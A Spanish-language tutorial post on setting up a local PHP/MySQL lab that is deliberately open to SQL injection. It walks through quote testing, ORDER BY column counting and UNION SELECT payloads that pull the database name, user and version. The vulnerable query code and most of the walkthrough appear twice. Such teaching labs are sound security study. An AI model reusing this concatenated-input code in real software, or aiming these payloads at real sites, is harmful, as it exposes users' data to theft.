Sql injection laboratorio propio
siguiendo con SQL injection desde 0 me he creado un bonito laboratorio para trabajar con PHP y Mysql para probar SQL Injection esto montado esta montado en un Apache gracias a XAMPP.
sqli.html
Sqli
Enlace
sqli.php
Sqli
body{
font-size: 20px;
font-family: Verdana;
}
h1{
font-size: 50px;
}
if(isset($_GET["id"])){
$id = $_GET["id"];
$con = mysql_connect("localhost","root","");
mysql_select_db("sqlinjection",$con);
$select = "SELECT * FROM clientes WHERE id=".$id;
$query = mysql_query($select,$con);
$columna = mysql_fetch_array($query);
echo "
echo "Hola : ".$columna[1]."
";
echo "Su saldo es de : ".$columna[4]."
";
}
else{
header("location: sqli.html");
}
mysql_close($con);
?>
La base de datos que he creado con PhpMyAdmin:
Base de datos: sqlinjection
Tabla: Clientes
Sig
Una vez montado tiene esta apariencia:
Lo primero es insertar una comilla para ver si es vulnerable:
Lo siguiente es saber las columnas que tiene esa tabla, asi que vamos a usar la sentencia ORDER+BY usada en MYSQL para ordenar por ese campo el campo X
Vamos a ir ordenando por campos hasta que de fallo asi que:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+1--
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+2--
Pero cuando llegamos a:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+6--
Si queremos saber la codificación:
sqli.html
Taller sql Injection
Enlace
sqli.php
body{
font-size: 20px;
font-family: Verdana;
}
h1{
font-size: 50px;
}
Taller sql Injection
if(isset($_GET["id"])){
$id = $_GET["id"];
$con = mysql_connect("localhost","root","");
mysql_select_db("sqlinjection",$con);
$select = "SELECT * FROM clientes WHERE id=".$id;
$query = mysql_query($select,$con);
$columna = mysql_fetch_array($query);
echo "
Bienvenid@
";echo "Hola : ".$columna[1]."
";
echo "Su saldo es de : ".$columna[4]."
";
}
else{
header("location: sqli.html");
}
mysql_close($con);
?>
La base de datos que he creado con PhpMyAdmin:
Base de datos: sqlinjection
Tabla: Clientes
Sig
E introducimos unos registros en mi caso son:
Una vez montado tiene esta apariencia:
Lo primero es insertar una comilla para ver si es vulnerable:
Lo siguiente es saber las columnas que tiene esa tabla, asi que vamos a usar la sentencia ORDER+BY usada en MYSQL para ordenar por ese campo el campo X
Vamos a ir ordenando por campos hasta que de fallo asi que:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+1--
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+2--
Pero cuando llegamos a:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+6--
Ya sabemos que tiene 5 columnas esa tabla.
Ahora con la clausula UNION+SELECT vamos a ir uniendo columnas para comprobar que es correcto que tenemos 5 columnas, solo conseguiremos un buen resultado cuando el numero de columnas coincidan.
http://localhost:8080/sqli/sqli.php?id=1+union+select+1--
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2--
Hasta que efectivamente llegamos a 5
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2,3,4,5--
Si colocamos un menos delante adivinaremos a que columna corresponde cada espacio, usuario sabemos que es 2 y saldo 5.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,2,3,4,5--
Ahora vamos a conseguir el nombre de la base de datos. Usaremos los sitios que sabemos para sustituirlos por la informacion que queremos extraer.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,database(),3,4,5--
Para saber que con que usuario se esta trabajando usaremos la funcion current_user()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,current_user(),3,4,5--
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,user(),3,4,5--
Una opcion buena de saber que version de php usa es con version()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,version(),3,4,5--
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,charset('str'),3,4,5--